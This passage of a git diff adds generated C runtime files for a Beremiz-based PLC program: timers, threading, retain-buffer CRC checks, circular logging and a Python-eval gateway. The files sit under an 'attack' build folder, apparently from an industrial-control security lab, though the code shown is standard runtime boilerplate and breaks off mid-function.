AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + 